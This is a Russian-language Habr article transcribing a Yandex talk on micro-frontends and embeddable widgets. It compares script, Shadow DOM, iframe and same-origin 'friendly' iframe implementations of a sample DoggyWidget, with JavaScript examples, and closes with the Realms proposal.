[Ссылка на GooglePlay](https://play.google.com/store/apps/details?id=com.github.raininforest.gerberpcb) | https://habr.com/ru/post/597251/ | null | ru | null |
# Микрофронтенды и виджеты в 2021-м. Доклад Яндекса
Давайте поговорим о микрофронтендах и о встраиваемых виджетах, которые, по сути, были предшественниками концепции микрофронтендов. В докладе я рассказал о способах встраивать виджеты на страницу, об их плюсах и минусах с точки зрения изоляции и производительности кода, а также о способах применять виджеты в микрофронтендной архитектуре.
— Всем привет! Меня зовут Леша. Я хочу с вами сегодня обсудить немного «перехайпленную» тему — микрофронтенды.
Если кто-то не знаком с этой концепцией, она берет свое начало от микросервисов. Микросервисы — это когда мы наш большой монолитный бэкенд делим на маленькие кусочки. Каждый кусочек независимо разрабатывается и деплоится собственной командой разработчиков.
Микрофронтенды — дальнейшее развитие этой идеи. Мы наше монолитное фронтенд-приложение также разделяем на независимые куски, независимые сервисы. Каждый сервис делается выделенной командой. Это может быть команда, у которой собственный фронтенд и бэкенд.
Идея микросервисов и микрофронтендов не то чтобы очень новая. В Яндексе когда-то давно был проект Яндекс.Виджеты: можно было из библиотеки виджетов собрать себе персонализированную главную страничку Яндекса. В библиотечке были виджеты, которые делались как нами, так и сторонними компаниями.
Мне нравится думать, что микрофронтенды — это такие виджеты, которые перепридумали зумеры. Разница на самом деле не очень большая. Виджет — это выделенный кусочек интерфейса, который куда-то встраивается. А идея микрофронтендов в том, что мы всё наше приложение собираем из таких небольших виджетов.
В Яндексе эта концепция тоже нашла свое место. Один из примеров такой идеи — страница поисковой выдачи. Хотя вам может показаться, что это одна большая монолитная страница, на самом деле она состоит из нескольких достаточно независимых виджетов, которые разрабатываются виртуальными командами. Виджеты эти у нас называются колдунщиками.
Я за время работы в компании тоже успел поработать над несколькими проектами, которые в целом находятся в концепции микрофронтендов. (...) Cейчас я занимаюсь разработкой видеоплеера, который вы уже видели на слайде. Это виджет, который воспроизводит видео и трансляции.
Евангелистом идеи микрофронтендов я совершенно не являюсь. У этой идеи, как и у всех, есть свои плюсы и минусы. Давайте мы с вами о них поговорим.
Какие есть бонусы, которые микрофронтенды дают вашему приложению? У вас появляется разделение ответственности. Каждый виджет в микрофронтендах разрабатывается выделенной командой, она за него отвечает. Виджеты изолированы друг от друга, у них независимые релизные циклы и независимые мониторинги. У каждой команды, которая занимается выделенным виджетом, есть свобода в технологическом стеке, они не зависят друг от друга.
Какие у этой концепции проблемы? Она сильно усложняет код, дает дополнительные накладные расходы на интеграцию и взаимодействие виджетов в микрофронтендах между собой, накладывает требования по обратной совместимости — чтобы API, через который виджеты общаются, при релизах не ломался и ваше приложение не развалилось. Свобода в технологическом стеке — наверное, тоже своего рода минус. Думаю, вам не очень хотелось бы пользоваться сайтом, который для отрисовки одного кусочка грузит Angular, а для другого — React, это будет работать не слишком быстро. Так что свобода — это одновременно и плюс, и минус.
Зачем вам эту концепцию использовать? Я для себя на этот вопрос ответил двумя пунктами. Первый: у вас большое приложение и несколько независимых команд разработки.
Второй: вы делаете встраиваемые виджеты, которые работают не только в микрофронтенде, а еще встраиваются на ваши сайты или, например, на сайты партнеров.
Но это все лирика. Поговорим о том, как технически реализовать микрофронтенды так, чтобы они обеспечивали все бонусы, о которых мы говорили, и при этом все работало производительно и быстро.
Как технически реализовать микрофронтенды/виджеты?
--------------------------------------------------
```
declare const DoggyWidget: {
init: ({
container: HTMLElement,
}) => DoggyWidgetInstance;
}
declare interface DoggyWidgetInstance {
destroy(): void;
updateDoggy(): void;
}
```
В качестве примера возьмем вот такой простенький виджет DoggyWidget, он лежит [по ссылке на GitHub](https://github.com/mad-gooze/doggy-widget). Виджет рисует картинку и кнопочку. Картинка принимает размеры контейнера, куда вы виджет вставили, и показывает рандомную фотографию собаки. Кнопка при нажатии меняет эту фотографию на другую рандомную. У нашего виджета будет API, с помощью которого с ним можно будет как-то взаимодействовать.
Из чего он будет состоять? В первую очередь он будет декларировать глобальный namespace DoggyWidget, в котором будет фабрика и с помощью которого можно создать инстанс этого виджета. У инстанса будет два метода. Первый метод — destroy, который при вызове удалит виджет со страницы и почистит всё, что он успел сделать с DOM-ом. Второй метод — updateDoggy, который делает то же самое, что нажатие на кнопку, а именно меняет картинку.
Давайте подумаем, как такой виджет реализовать.
</h2><br/>
Первая идея «в лоб»: наш виджет будет отдельным скриптом. <br/>
<br/>
<pre><code class="javascript">class Widget {
constructor({ container }) {
this.container = container;
container.classList.add('doggy-widget');
this.\_renderImg();
this.\_renderBtn();
this.updateDoggy();
}
…
}</code></pre><br/>
Давайте инстанс виджета определим с помощью класса. У класса будет конструктор, который принимает конфиг. В конфиге есть контейнер, где виджет должен рисоваться. Мы на этот контейнер навесим className, вызовем два метода — для отрисовки картинки и для отрисовки кнопки — и вызовем updateDoggy, который поставит начальную картинку при инициализации виджета. <br/>
<br/>
<pre><code class="javascript"> \_renderImg() {
this.img = document.createElement('img');
this.img.classList.add('doggy-widget\_\_img');
this.img.alt = 'doggy';
this.container.appendChild(this.img);
}</code></pre><br/>
Что будет делать renderImg? Он будет создавать тег img, навешивать на него className и аппендить его в контейнер. <br/>
<br/>
<pre><code class="javascript"> \_renderBtn() {
this.btn = document.createElement('button');
this.btn.classList.add('doggy-widget\_\_btn');
this.btn.addEventListener('click', () => this.updateDoggy());
this.container.appendChild(this.btn);
this.btn.innerText = 'New doggy!';
} </code></pre><br/>
renderBtn будет делать примерно то же самое, только он будет создавать не img, а кнопочку. <br/>
<br/>
<pre><code class="javascript"> updateDoggy() {
const { width, height } = this.container.getBoundingClientRect();
const src = `https://placedog.net/${width - 10}/${height - 10}?random=${Math.random()}`;
this.img.src = src;
}</code></pre><br/>
И у нас еще есть публичный API. updateDoggy определяет параметры контейнера, куда мы вставили виджет, конструирует ссылку на изображение. Я здесь буду использовать сервис placedog.net, который подставляет рандомные плейсхолдеры с фотками собак. Метод src ставит тег img.<br/>
<br/>
<pre><code class="javascript"> destroy() {
this.container.innerHTML = '';
this.container.classList.remove('doggy-widget');
}</code></pre><br/>
destroy будет очень простой — он будет подчищать innerHTML у контейнера и снимать с него className, который мы поставили в конструкторе. <br/>
<br/>
<pre><code class="javascript">(() => {
class Widget {
...
}
window.DoggyWidget = {
init(config) {
return new Widget(config);
}
}
})();</code></pre><br/>
Напишем код, с помощью которого виджет будет вставляться. Мы его содержимое обернем в IIFE, чтобы спрятать класс виджета в замыкание, и определим в нем глобальный namespace DoggyWidget, в namespace будет функция init — фабрика, которая вернет нам инстанс виджета. <br/>
<br/>
<pre><code class="html"><script src="doggy-widget.js">
const widget1 = DoggyWidget.init({
container: document.getElementById('widget-1'),
});
const widget2 = DoggyWidget.init({
container: document.getElementById('widget-2'),
});
Как это все будет ставиться на страничку? Вот два файла: doggy-widget.js с JS-кодом, который мы разобрали, и doggy-wodget.css со стилями для виджета.
Мы заведем два div, и в каждый из них вставим виджет через DoggyWidget.init(), который мы тоже в doggy-widget.js описали.
[Ссылка со слайда](https://mad-gooze.github.io/doggy-widget/script/)
Это все будет выглядеть так. У первого виджета будет updateDoggy.
[Ссылка со слайда](https://mad-gooze.github.io/doggy-widget/script/)
Мы его вызовем. Он изменит нам фотографию.
Вспомним, какие бонусы нам обещают микрофронтенды. Первый бонус — изоляция виджетов.
[Ссылка со слайда](https://mad-gooze.github.io/doggy-widget/script/broken-css.html)
```
* {
font-family:
Arial, Helvetica, sans-serif !important;
font-size: 10px !important;
}
```
Представим, что мы наш виджет встроили на страничку, где находится вот такой CSS-код.
[Ссылка со слайда](https://mad-gooze.github.io/doggy-widget/script/broken-css.html)
Что произойдет, когда мы отрисуем виджет? Очевидно, у него поедет верстка, потому что у нас есть глобальный CSS selector, который для всех элементов переопределяет font-family и font-size. Так что виджет не очень хорошо изолирован от окружающего его CSS-кода.
Вы скажете, что это вредительство и такого CSS никто не пишет.
[Ссылка со слайда](https://mad-gooze.github.io/doggy-widget/script/index-with-bootstrap.html)
```
*, ::after, ::before {
box-sizing: border-box;
}
```
Окей, рассмотрим чуть более реальный пример. Мы встраиваемся на страничку, на которой используется Bootstrap, например. В Bootstrap есть такой код, который всем элементам задает box-sizing.
Предположим, мы наш виджет отрисуем на такой страничке:
Тогда у него чуть-чуть поедут размеры, потому что border переехал из-за box-sizing внутрь элемента — у нас меняются размеры виджета. Не очень классно. Получается, что наш виджет подвержен влиянию окружающего его кода, чего мы в микрофронтендах хотим избежать.
Как этого можно избежать? Первый вариант: есть достаточно старый проект [cleanslate.css](https://github.com/premasagar/cleanslate).
```
```
Это специальный CSS reset, который перезагружает стили не на всей страничке, а только на том div, где стоит класс cleanslate. Всё, что находится внутри cleanslate, будет переопределено, у него будут дефолтные зарезеченные стили.
Либо есть более современное решение, которое использует часть спецификаций веб-компонентов, а именно Shadow DOM.
Shadow DOM — это такой способ отрисовать часть DOM-дерева изолированно и скрыто от других элементов на страничке. С помощью Shadow DOM рисуются встроенные в браузер контролы, например, input range. Если вы посмотрите на него в dev tools, там внутри в shadow root находится верстка, стилизованная с помощью CSS, который зашит в движок браузера.
```
constructor({ container }) {
this.shadowRoot = container.attachShadow(
{ mode: 'open' }
);
this.innerContainer = document.createElement('div');
this.innerContainer.classList.add('doggy-widget');
this.shadowRoot.appendChild(this.innerContainer);
…
}
```
Окей, попробуем заюзать Shadow DOM для нашего виджета. Что нам для этого нужно? В конструкторе мы приаттачим в контейнер shadowRoot, создадим еще один div, назовем его innerContainer и зааппендим его внутрь нашего shadowRoot.
```
_renderImg() {
…
this.innerContainer.appendChild(this.img);
}
_renderBtn() {
…
this.innerContainer.appendChild(this.btn);
}
```
И нам потребуется немного переделать методы renderImg(), renderBtn(). Теперь мы будем картинку и кнопку складывать не в контейнер, который нам пришел, а в innerContainer, который мы уже положили внутрь shadowRoot.
```
destroy() {
…
this.shadowRoot.innerHTML = '';
}
```
Осталось еще немного поправить destroy. В destroy будем shadowRoot просто подчищать за собой.
Класс! Кажется, мы использовали Shadow DOM и смогли нашу верстку изолировать от другого кода.
[Ссылка со слайда](https://mad-gooze.github.io/doggy-widget/script-with-shadow-dom/broken-css.html)
В этом случае мы получим что-то такое — у нас пропали все стили.
Что именно произошло? Изоляция, которую обеспечивает Shadow DOM, работает в обе стороны: она блокирует как вредоносные стили, которые нам не нужны, так и наши собственные стили, которые мы хотим добавить. Смотрите, link с doggy widget CSS остался снаружи shadowRoot, а верстка виджета находится внутри. Соответственно, правила, которые описаны снаружи, не влияют на то, что находится внутри shadowRoot.
```
constructor() {
…
const link = document.createElement('link');
link.rel = 'stylesheet';
link.href = 'doggy-widget.css';
this.shadowRoot.appendChild(link);
…
}
```
Чтобы это полечить, нам нужно тег link класть внутрь shadowRoot. Сделать это очень просто. Создаем элемент link, ставим ему href и аппендим его внутрь shadowRoot. В коде вставки виджета на страницу отдельный CSS-файл нам уже будет не нужен, он будет подключаться в конструкторе виджета.
[Ссылка со слайда](https://mad-gooze.github.io/doggy-widget/script-with-shadow-dom-fixed/broken-css.html)
Это будет работать примерно так. По ссылочке — пример с подключенным Bootstrap, где можно посмотреть, что наш виджет по верстке получилось изолировать.
Единственная проблема, которую вы можете заметить, если откроете dev tools: на каждую инициализацию виджета появился отдельный запрос за doggy-widget.css. Здесь вам нужно будет убедиться, что у вас корректно настроено кеширование, чтобы повторно не грузить этот файл вашим клиентам.
Вроде изоляцию мы полечили. Или не совсем? Давайте немножко поиграем в шарады.
Опытные разработчики поймут, что здесь зашифрован monkey-patching. Это техника, которая нам позволяет делать прототипное наследование JavaScript, а именно изменять стандартную библиотеку. Например, через это работают полифилы. Мы можем в старый браузер притащить метод, который появился в новой спецификации, чтобы писать код, используя новые спеки. Но monkey-patching позволяет как делать хорошие штуки, так и очень сильно всё ломать.
Расскажу пример, с которым мы столкнулись, когда я работал в рекламных технологиях.
```
var str = JSON.stringify(['haha'])
> '["haha"]'
JSON.parse(str)
> ["haha"]
```
Был у нас примерно такой код. Мы стрингифаили массивчик. Очевидно, результат у этого выражения вот такой. И потом мы эту застрингифаенную строчку отправляли на наш бэкенд, где потом ее парсили.
Очевидно, если мы такую строку распарсим, то получим массив. Все хорошо.
```
var str = JSON.stringify(['haha'])
> '"[\"haha\"]"'
JSON.parse(str)
> '["haha"]'
```
А вот на сайте одного из партнеров, куда мы этот виджет встраивали, мы видели такую картину.
JSON.stringify у нас возвращал такую штуку. Тут добавились еще одни экранированные кавычки. И при парсинге этой строчки мы получали вместо массива строку. Примерно такими были выражения лиц у всех разработчиков, кто это увидел в первый раз.
```
Array.prototype.toJSON: () => Object
```
Стали разбираться, что происходит. JSON.stringify по спецификации, если у объекта определен метод toJSON, вызывает его. Метод должен вернуть сериализуемый объект, который дальше будет через JSON.stringify преобразован, чтобы получить строку.
```
Array.prototype.toJSON = function () {
var c = [];
this.each(function (a) {
var b = Object.toJSON(a);
if (!Object.isUndefined(b))
c.push(b)
});
return '[' + c.join(', ') + ']'
}
```
И как раз на этом сайте мы обнаружили такой код, внимание на предпоследнюю строку. В прототип массива добавлялся метод toJSON, который возвращал не сериализуемый объект, как должно быть по спеке, а строчку.
Код этот прилетел из старой библиотеки prototype.js, это такая либа эпохи раннего jQuery, которая занимается тем, что расширяет стандартную библиотеку JavaScript для появления удобных в использовании методов.
Мы, кстати, как потом выяснилось, не единственные, кто с такой проблемой столкнулся. На Stack Overflow есть [обсуждение](https://stackoverflow.com/questions/13848027/prototype-js-1-6-x-tojson-misbehaves), где предлагается эту проблему пролечить таким страшненьким кодом:
```
var _json_stringify = JSON.stringify;
JSON.stringify = function(value) {
var _array_tojson = Array.prototype.toJSON;
delete Array.prototype.toJSON;
var r=_json_stringify(value);
Array.prototype.toJSON = _array_tojson;
return r;
};
```
Строго говоря, предлагается полечить monkey-patching еще одним monkey-patching, что не кажется очень хорошим решением.
Так что изоляция виджетов в верстке у нас работает, а изолировать JS с таким подходом получится не очень хорошо.
Что еще у нас было из бонусов? Независимые мониторинги. Когда я говорю о них, я в первую очередь имею в виду мониторинг клиентских ошибок. Есть достаточно много сервисов, которые вы можете подключить в свое приложение, и они будут мониторить и агрегировать эксепшены, которые случаются у вас в коде. Если вы это еще не делаете, то настоятельно рекомендую начать мониторить клиентские ошибки. Вы будете неприятно удивлены количеством багов, которые у вас случаются в проде и ломают поведение сайтов у ваших пользователей, а вы об этом ничего не знаете.
Давайте попробуем сломать наш виджет, посмотреть, как такой мониторинг будет работать и что он нам даст.
```
_renderImg() {
const img = document.createElement(‘img');
this.img = img;
img.classList.add('doggy-widget__img');
img.alt = 'doggy';
this.container.appendChild(this.img);
this.updateDoggy(img);
}
```
Если помните, у нас был метод renderImg, который отрисовывал картинку. Давайте мы его сломаем, а именно удалим третью строчку, которая img кладет в поле нашего класса.
Что произойдет? Начальная отрисовка у нас отработает.
[Ссылка со слайда](https://mad-gooze.github.io/doggy-widget/script-with-shadow-dom-fixed-bug/bug.html)
А вот если мы нажмем на кнопочку, то увидим exception.
```
window.addEventListener('error', (e) => {
console.log('got error:', e.error);
e.preventDefault();
});
```
Как этот exception можно поймать, обработать и залогировать? Что делают те сервисы, которые я показывал несколько слайдов назад? Есть глобальный ивент 'error', который срабатывает на объекте window. На него можно подписаться и получить из этого ивента объект ошибки, которая произошла и которую вы не отловили через try-catch. У ивента можно вызвать preventDefault, чтобы также скрыть красную ошибку в консольке и не пугать ваших пользователей, которые внезапно решили открыть devtools.
В нашем виджете это будет выглядеть так. При нажатии на кнопку будет срабатывать обработчик.
```
window.addEventListener('unhandledrejection', (e) => {
console.log('got promise reject:', e.reason);
e.preventDefault();
});
```
Маленький бонус. Почти так можно ловить зареджекченные цепочки промисов. Для этого используется отдельный ивент unhandledrejection. В поле reason у этого ивента будет находиться тот объект, с которым был зареджекчен ваш необработанный промис:
```
Promise.reject(new Error('bla'))
```
Подумаем. Если мы используем микрофронтенды и хотим мониторить ошибки, которые в каждом из виджетов происходят, все наши виджеты будут сыпать эксепшены в один и тот же обработчик:
```
window.addEventListener('error', (e) => {
console.log('got error:', e.error);
e.preventDefault();
});
```
Релиз-инженер увидит на мониторингах, что подскочили клиентские ошибки, будет сидеть и думать, какой конкретно релиз какого виджета нужно откатить, потому что обработчик-то один. Его в целом можно попробовать поразделять по стэк-трейсам, но это выглядит не слишком удобно.
Так что независимые мониторинги при таком подходе мы не получаем.
Давайте подведем промежуточные итоги. Что нам дает использование независимых скриптов?
У нас есть минимум накладных расходов. Каждый отдельный элемент микрофронтенда, каждый виджет, — это просто лишний скрипт. Кажется, менее накладно это сделать нельзя. Но при этом у нас плохая изоляция, мы научились изолировать верстку с помощью Shadow DOM, а JS мы изолировать не можем. И у нас нет хороших независимых мониторингов ошибок.
Для чего такая идея может пригодиться? Она в целом нормально работает в микрофронтендах. Но если мы виджет делаем как независимую библиотечку, которая встраивается не только в приложение с микрофронтендами, но и на какие-то сторонние странички, то эта идея подходит не очень хорошо, потому что мы не защищены от monkey-patching на внешних сайтах и не можем хорошо отслеживать ошибки, которые происходят с нашим виджетом.
Тем не менее, эта идея активно используется. Например, один из популярных фреймворков для построения микрофронтендов [single-spa](https://single-spa.js.org/) как раз на ней, в общем-то, и построен.
Что делать, если нам это все не подходит и хочется больше изоляции? Здесь поможет старая технология iframe.
Это тег, который позволяет на внутри вашей странички отрисовать еще один независимый документ.
```
(() => {
window.DoggyWidget = {
init({ container }) {
const iframe = document.createElement('iframe');
}
}
})();
```
Попробуем переписать наш виджет так, чтобы он использовал iframe и изоляцию, которую он предоставляет.
```
(() => {
window.DoggyWidget = {
init({ container }) {
const iframe = document.createElement('iframe');
iframe.style.width = '100%';
iframe.style.height = '100%';
iframe.style.borderWidth = 0;
iframe.style.display = 'block';
iframe.src = 'https://some-url/doggy-widget.html';
}
}
})();
```
В фабрике init нашего виджета нам нужно будет создать iframe и повесить на него стили. Мы поставим width и height 100%, чтобы он полностью растягивался до размеров контейнера, куда его вставили. Мы переопределим ему display и поставим границу 0, потому что по дефолту браузеры рисуют border.
Внутри iframe загрузим документ, в котором будет рендериться наш виджет.
```
(() => {
window.DoggyWidget = {
init({ container }) {
const iframe = document.createElement(‘iframe');
iframe.style.width = '100%';
iframe.style.height = '100%';
iframe.style.borderWidth = 0;
iframe.style.display = 'block';
iframe.src = 'https://some-url/doggy-widget.html';
container.appendChild(iframe);
...
}
}
})();
```
Осталось зааппендить этот iframe внутрь контейнера.
[Ссылка со слайда](https://mad-gooze.github.io/doggy-widget/iframe/widget-iframe.html)
Все будет работать, виджет будет отрисовываться.
Вроде здорово. Мы использовали iframe, виджет в нем работает, не подвержен влиянию другого кода на страничке. У нас есть полная изоляция, независимые мониторинги внутри iframe.
```
declare const DoggyWidget: {
init: ({
container: HTMLElement,
}) => DoggyWidgetInstance;
}
declare interface DoggyWidgetInstance {
destroy(): void;
updateDoggy(): void;
}
```
Но мы кое о чем забыли. У нашего виджета есть API. У инстанса есть destroy и updateDoggy. Давайте попробуем их реализовать.
```
destroy() {
this.container.innerHTML = '';
}
```
destroy будет суперпростой. Нам нужно будет просто почистить контейнер, если вы не используете этого парня. В IE 11 и legacy Edge есть неприятный баг, связанный с тем, что контекст JS, который работает внутри фрейма, продолжает частично жить после удаления iframe из DOM. Что значит частично? В нем ломается стандартная библиотека, перестают, например, быть доступны объекты Date, Object, Array и прочее. Но асинхронный код, сет таймауты, сет интервалы, реакция на ивенты, которая там была, продолжают работать, и вы можете в ваших мониторингах в таком случае увидеть очень странные эксепшены из IE и legacy Edge о том, что у вас вдруг пропал Date, он стал undefined.
Чтобы это обойти, нам наш iframe предварительно перед удалением его из DOM нужно будет вот таким образом почистить. Тогда IE 11 и старый Edge корректно его задестроят и остановят весь JS-код, который внутри него выполнялся.
```
destroy() {
// чистим iframe для ie11 и legacy edge
this.iframe.src = '';
this.container.innerHTML = '';
}
```
[Ссылка со слайдов](https://mad-gooze.github.io/doggy-widget/iframe/widget-iframe.html)
Proof of concept — destroy работает.
Что еще? У нас остался updateDoggy, для него нам нужно обновить картинку, которая рисуется внутри фрейма. Соответственно, сделать какое-то действие между нашим основным документом, отправить команду внутрь iframe. Здесь есть проблема. Если iframe загружается с другого хоста, браузер заблокирует любое взаимодействие с window внутри фрейма и вы получите примерно такую ошибку.
Как же все-таки можно взаимодействовать? Для взаимодействия нужно использовать postMessage. Это API, который позволяет отправить сериализуемую команду внутрь другого window, и внутри этого window подписаться на объект message, прочитать то, что было в команде. И отреагировать на нее.
```
updateDoggy() {
this.iframe.contentWindow
.postMessage({ command: 'updateDoggy' });
}
```
Давайте реализуем updateDoggy через postMessage. В родительском документе у нас будет отправляться сообщение с командой updateDoggy внутрь iframe.
```
window.addEventListener('message', (e) => {
if (e.data.command === 'updateDoggy') {
widget.updateDoggy();
}
})
```
И внутри iframe нам нужно будет написать вот такой код, который подписывается на события message, а если там updateDoggy, то дергает updateDoggy у виджета, который перерисует нам картинку.
[Ссылка со слайдов](https://mad-gooze.github.io/doggy-widget/iframe/widget-iframe.html)
Посмотрим, что нам дает использование iframe. В первую очередь все взаимодействие с виджетом, который рисуется внутри iframe, становится асинхронным. postMessage — асинхронный API. До этого мы могли синхронно вызывать методы, а сейчас мы этого делать не можем.
События, которые происходят внутри iframe, наружу не всплывают. Если вы хотите реагировать, например, снаружи на то, что пользователь кликнул внутри виджета, то вам нужно отправлять postMessage наверх. Использовать addEventListener напрямую у вас не получится — событие через iframe не всплывет.
У вас появляются трудности с коллбэками. С ходу непонятно, какой конкретно виджет отправил сообщение. Предположим, на страничке несколько таких виджетов, у вас один глобальный обработчик message, несколько виджетов пишут свои постмесседжи и вам нужно как-то разделять, видеть, какой виджет отправил сообщение. Здесь придется придумать идентификаторы или нечто похожее.
И еще: iframe нельзя передвигать по DOM. Когда вы iframe детачите и аттачите обратно, он перезагружается, виджет будет перерисовываться, все запросы, которые он выполняет для инициализации, будут исполнены заново. В общем, не очень оптимально.
Что мы в итоге получаем? У нас сильно усложняется код. И еще появляются накладные расходы.
Если мы вспомним, как рисовался наш виджет, вставляемый через скрипт, это это выглядело бы так. У нас бы загружалась страничка, загружался CSS, JS. Дальше, когда виджет рисовался бы, каждый виджет запрашивал бы для себя картинку.
Если мы рассмотрим наш новый вариант с iframes, мы увидим такое. Внутри каждого виджета загрузится документ, у нас загрузится CSS, который там нужен, и JS, который внутри этого документа исполняется.
Для первого виджета, для второго. Сколько у вас их будет на странице, столько будет загрузок этих файлов?
[Ссылка со слайда](https://developers.google.com/web/updates/2020/10/http-cache-partitioning)
Здесь могло бы помочь кеширование, но недавно браузеры сделали так, чтобы изолировать кеши друг от друга между различными сайтами. Это нужно, чтобы предотвратить трекинг посещения пользователем одного сайта с другого. То есть если на сайте номер 1 используется какая-то библиотечка, сайт номер 2 тоже может ее подключить и посмотреть через Performance API, была они ла загружена из кеша. Если да, то пользователь, скорее всего, до этого посещал сайт № 1 и это можно как-то использовать. Браузеры сейчас от такого поведения стараются пользователей защищать.
Как работает изоляция кешей? Если раньше ключом для ресурса в кеше была просто ссылка на ресурс, то сейчас ключом становится комбинация из хоста, где ресурс был загружен, и ссылки на ресурс.
К чему это приводит, если мы пытаемся строить микрофронтенды на виджетах, которые загружаются каждый в независимом iframe?
```
https://website.ru/
https://yastatic.net/react/16.8.4/react-with-dom.min.js
Widget #1
https://widget-1.ru/
https://yastatic.net/react/16.8.4/react-with-dom.min.js
Widget #2
https://widget-2.ru/
https://yastatic.net/react/16.8.4/react-with-dom.min.js
```
Допустим, у нас есть наш основной сайт, на котором подключен React. Есть виджет номер 1, на котором подключен React — допустим, даже тот же самый bundle. И виджет номер 2 с еще одного хоста, на нем тоже подключен React.
Каждый запрос за библиотекой в этом случае не попадет в кеш, потому что кеши у нас изолированные и ключом является комбинация хоста и ссылки на ресурс. На каждую инициализацию виджета у вас будет запрос за файлом, парсинг и исполнение, что дает дополнительные расходы по производительности.
Итак, что мы получаем с iframe? У нас есть полная изоляция «виджетов» в CSS. Есть полная изоляция JS, потому что документы не зависят друг от друга. Есть независимые мониторинги, потому что внутри каждого iframe свой собственный window, на котором мы можем ловить ошибки.
Но при этом сильно усложнился код, поскольку появилась асинхронность.
Появились накладные расходы за дополнительными запросами, а именно за документом, который грузится внутри iframe, за HTML. И появились сложности с кешированием. iframes также требуют дополнительные браузерные ресурсы на работу, дополнительную память и дополнительное процессорное время.
В итоге это хорошо подходит, когда вы делаете отдельный встраиваемый виджет, который окажется полностью изолирован и будет иметь свой контекст. А для построения приложения в микрофронтендовом подходе из таких виджетов эта идея подходит не очень хорошо, поскольку дает очень много накладных расходов и сильно усложняет все взаимодействие.
Выглядит так, будто у нас есть два варианта: один с использованием скрипта, один с использованием iframe.
Но если подумать, то, возможно, самая бо́льшая часть проблем, которые возникают при использовании iframe, — это то, что у iframe кросс-доменный контекст, с которым браузер ограничивает взаимодействие, из-за чего появляется асинхронщина и усложняется кеширование.
Здесь поможет так называемый “friendly” . Вы еще можете встретить название same-origin , или anonymous .
```
const globalOne = window;
let iframe = document.createElement('iframe');
document.body.appendChild(iframe);
const globalTwo = iframe.contentWindow;
```
В чем идея? Есть глобальная область — наш текущий window. Можно создать через createElement новый iframe и зааппендить его на страничку. При этом заметьте, что я внутри этого фрейма никакой документ не загружаю, дополнительного запроса за HTML здесь не будет и внутри документа окажется пустая страничка, которую туда автоматически подложит браузер.
Теперь contentWindow этого iframe можно рассматривать как еще один независимый контекст, который мы можем использовать.
foobar.js:
```
window.someMethod = () => {...}
```
Давайте подумаем, зачем. Мы можем в этом контексте исполнять скрипты.
Вот наш скрипт foobar.js, который в глобальную область добавляет метод. Как подключить его внутрь нашего нового контекста? Создаем скрипт, ставим ему src и аппендим внутрь head нашего iframe.
```
const script = document.createElement(script);
script.src = 'foobar.js';
globalTwo.head.appendChild(script);
```
Теперь, чтобы взаимодействовать с кодом внутри этого скрипта, нам больше не нужно использовать postMessage, потому что контекст у нас same-origin:
~~```
globalTwo.postMessage();
```~~
```
globalTwo.someMethod();
```
Можно просто напрямую вызвать сам метод, и это будет работать, браузер не будет это блокировать.
Давайте попробуем, используя эту идею, переписать наш виджет еще раз.
Единственное, нам надо понять, где у нас будет находиться верстка. Если помните, я сказал, что внутрь friendly frame документ мы не загружаем, но верстку надо где-то отрисовать.
А верстку мы будем рисовать в контексте родительской страницы и будем использовать Shadow DOM. Попробуем взять лучшее из двух подходов, которые мы до это рассматривали.
Как теперь будет выглядеть фабрика нашего виджета?
```
const iframe = document.createElement('iframe');
document.head.appendChild(iframe);
const script = document.createElement('script');
script.src = 'doggy-widget-inner.js';
const loaded = new Promise((resolve) => {
script.onload = resolve;
});
loaded.then(() => {
iframe.contentWindow.init(config);
})
iframe.contentDocument.head.appendChild(script);
```
Создаем в нем iframe, загружаем внутрь этого iframe скрипт и сохраняем promise, который зарезолвится, когда этот скрипт загрузится.
После того, как он прогрузился, мы вызовем внутри нашего виджета init и передадим его config, который отрисует виджет внутри. Нам осталось зааппендить скрипт в head нашего iframe.
Как теперь преобразуется doggy-widget-inner.js, код, который работает внутри фрейма?
```
window.init = (config) => {
const widget = new Widget(config);
window.widget = widget;
};
```
В нем будет реализация класса widget, точно такая же, как мы использовали, когда рассматривали подход со скриптом и применением Shadow DOM. В нем появится глобальный метод init, который мы вызывали на предыдущем слайде и который будет создавать виджет и класть инстанс виджета прямо в глобальную область.
Как в итоге все будет работать? Если мы отрисуем таким способом два виджета на страничке, то получим примерно такое DOM-дерево.
[Ссылка со слайдов](https://mad-gooze.github.io/doggy-widget/friendly-frame/broken-css.html)
Для каждого виджета у нас будет в хэде скрытый friendly iframe, который пользователь не видит, но при этом код внутри него исполняется и с ним можно работать. Для каждого виджета в контейнере, который мы передали, будет использоваться shadow root, внутри которого будет находиться верстка этого конкретного виджета. Вот для первого виджета, а вот для второго.
Код целиком:
```
#document
#document
#shadow-root
#shadow-root
```
Что этот подход нам дает? Мы получаем:
* Полную изоляцию наших виджетов в CSS, потому что используем Shadow DOM.
* Полную изоляцию в JS, потому что код работает внутри выделенного iframe, и какой-либо monkey-patching в родительском документе на него никак не влияет.
* Независимые мониторинги, потому что код виджета работает, опять-таки, в независимом window, где мы можем слушать эксепшены.
* Работающее кеширование, так как контекст same-origin в браузере больше не изолирует кеши между виджетами.
При этом все еще есть:
* Некоторое усложнение кода. Загрузка становится асинхронной, но гораздо лучше использовать асинхронное взаимодействие, в отличие от секьюрного фрейма, где мы использовали постмесседжи.
* Небольшие накладные расходы — запрос за дополнительным js-файлом, который загружается внутрь iframe.
* Необходимость в дополнительных ресурсах. Требуются дополнительные ресурсы браузера и устройства пользователя на работу отдельного контекста iframe, но они сильно меньше, чем у секьюрного фрейма.
Такая концепция хорошо подходит и когда вы строите отдельный виджет, и когда собираете из виджетов приложение с микрофронтендами.
Немного поговорим о том, что ждет нас в светлом будущем. Там нас ждет спецификация [Realms API](https://github.com/tc39/proposal-realms). Она сейчас находится в TC39 на Stage 2, это draft. Активно идет написание стандарта. Спецификация развивается. Надеемся, что скоро она перейдет на stage 3.
Что она позволяет делать? Вспомним, как мы создавали friendly frame. У нас был глобальный контекст globalOne. Мы создавали элемент iframe, аппендили его в документ и получали globalTwo — еще один независимый контекст внутри этого фрейма.
```
const globalOne = window;
let iframe = document.createElement('iframe');
document.body.appendChild(iframe);
const globalTwo = iframe.contentWindow;
```
↓
```
const globalOne = window;
const globalTwo = new Realm().globalThis;
```
Realms позволяет это заменить на такую конструкцию. Появляется новый глобальный объект Realm. Создав инстанс Realm, вы получаете внутри него globalThis, который является как раз тем самым независимым контекстом, который при этом работает оптимальнее, чем отдельный iframe.
Как внутри Realm можно будет исполнить код? Через вызов импорта.
```
const realm = new Realm();
const { doSomething } = await realm.import(
‘./file.js'
);
doSomething();
```
